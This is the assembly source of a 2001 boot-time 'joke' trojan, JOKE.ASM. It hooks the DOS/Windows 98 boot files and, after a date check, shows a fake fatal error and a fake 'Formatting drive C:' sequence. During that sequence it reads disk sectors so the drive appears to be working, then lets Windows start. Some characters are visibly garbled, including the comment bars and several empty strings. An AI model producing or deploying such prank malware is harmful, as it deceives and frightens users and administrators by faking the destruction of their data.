; *****************************************************************************
;
; JOKE.ASM  [ JO.SYS IO.SYS GO.SYS ]
;
; Copyright (C) 2001  Erdogan TAN  [ 5/2/2001 ]
;
; *****************************************************************************
; Boot Sector Parameters at 7C00h
DataArea1     equ -4
DataArea2     equ -2
BootStart     equ 0h
OemName       equ 03h
BytesPerSec   equ 0Bh
SecPerClust   equ 0Dh
ResSectors    equ 0Eh
FATs          equ 10h
RootDirEnts   equ 11h
Sectors       equ 13h
Media         equ 15h
FATsecs       equ 16h
SecPerTrack   equ 18h
Heads         equ 1Ah 
Hidden1       equ 1Ch
Hidden2       equ 1Eh
HugeSec1      equ 20h
HugeSec2      equ 22h
DriveNumber   equ 24h
Reserved1     equ 25h
bootsignature equ 26h                 
VolumeID      equ 27h
VolumeLabel   equ 2Bh
FileSysType   equ 36h          
Reserved2     equ 3Eh                           ; Starting cluster of P2000
Present segment Para 'code'
		assume CS:Present, DS:Present, ES:Present, SS:Present
;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
;
;              PROCEDURE proc_start
;
;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
proc_start      proc    near
start:                                         
                db 'MZ'
trigger:        db 0
Msg_General_Failure:
                db 07h
                db 0Dh, 0Ah
                db "Mister BOOT Fatal Error ! Version 1.0 for WINDOWS 98/ME"
                db 0Dh, 0Ah
                db "[ (c) General Failure - 2001 ] www.misterboot.com"
                db 0Dh, 0Ah
                db 0Dh, 0Ah
                db "Warning ! Caution ! Attention to system administrator : "
                db 0Dh, 0Ah
                db "This is not a viruse, only a harmless trojan :)))"
                db 0Dh, 0Ah
                db 0Dh, 0Ah
                db "Press a key to format drive C: or "
                db "press ", 34,"", 34, " to start Windows..."
                db 0Dh, 0Ah
                db 0Dh, 0Ah, 0
Starting_Msg:
                db 0Dh, 0Ah
                db "Starting Windows..."
                db 0Dh, 0Ah, 0
                db 1 dup (0)
                org 200h
                inc dx
                dec dx
                push cs
                pop  ds
                mov bp, 7C00h    ; ( SS = 0  )
                mov ah, 04h
                int 1Ah
                cmp dh, 3
                jb short pass_trigger_month
                ja short pass_check_day
                cmp dl, 31
                jb short pass_trigger_month
pass_check_day:
                call trojan_joke
pass_trigger_month:
                jmp load_run_time_system
trojan_joke:
                mov ax, 3
                int 10h
                mov si, offset Msg_General_Failure
                call proc_printmsg
read_user_input:
                mov ah, 0
                int 16h
                mov ah, 9
                mov bx, 7
                mov cx, 1
                int 10h
                mov cx, 8
                xor dx, dx
                mov ah, 86h
                int 15h
                cmp al, ""
                je short load_run_time_system
loc_virtual_format:
                mov ax, 3
                int 10h
                mov si, offset Format_Msg
                call proc_printmsg
                mov cx, 79
format_counter:
                push cx
                mov cx, 7
                xor dx, dx
                mov ah, 86h
                int 15h
                mov cx, 17h
hd_read_loop:
                push cx
                push es
                push bx
                xor dx, dx
                mov es, dx
                mov bx, 1000h
                mov dl, 80h
                xor ch, ch
                mov cl, 63h
                mov ax, 0201h
                int 13h
                pop bx
                pop es
                pop cx
                loop hd_read_loop
                mov al, byte ptr [Format_Sign]
                mov ah, 0Eh
                int 10h
                pop cx
                loop format_counter
                mov ax, 3
                int 10h
                mov si, offset Format_OK
                call proc_printmsg
                mov cx, 0Fh
                xor dx, dx
                mov ah, 86h
                int 15h
                retn
load_run_time_system:
                mov si, offset nextline
                call proc_printmsg
                xor si, si
                mov ds, si
                mov si, 7DD8h       ; "I" address of "IO.SYS"
                dec byte ptr [SI]   ; Convert JO.SYS to IO.SYS or
                dec byte ptr [SI]   ; IO.SYS to GO.SYS
                jmp dword ptr CS:[trio_offset]
                db "T2BP0RET0ITY1O"
proc_start      endp
proc_printmsg   proc near
loc_print:          
		lodsb                           ; Load byte at DS:SI to AL
		and     AL,AL            
		je      short loc_return        ; If AL = 00h then return
		mov     AH,0Eh                  
		mov     BX,07h             
		int     10h                     ; BIOS Service func ( ah ) = 0Eh
						; Write char as TTY
						;AL-char BH-page BL-color
		jmp     short loc_print           
loc_return:
		retn
proc_printmsg   endp
Format_Msg:
                   db 07h
                   db 0Dh, 0Ah
                   db "Formatting drive C:"
                   db 0Dh, 0Ah
                   db 0Dh, 0Ah, 0
Format_Sign:       db ""
                   db 0
Format_OK:
                   db 07h
                   db 0Dh, 0Ah
                   db "Format operation completed..."
                   db 0Dh, 0Ah, 0Dh, 0Ah
                   db "Nooowww! Launching Microsoft Windoooowwws !!!"
NextLine:          db 0Dh, 0Ah, 0
trio_offset:       dw   7C00h
                   dw   0
Present            ends
		   end  start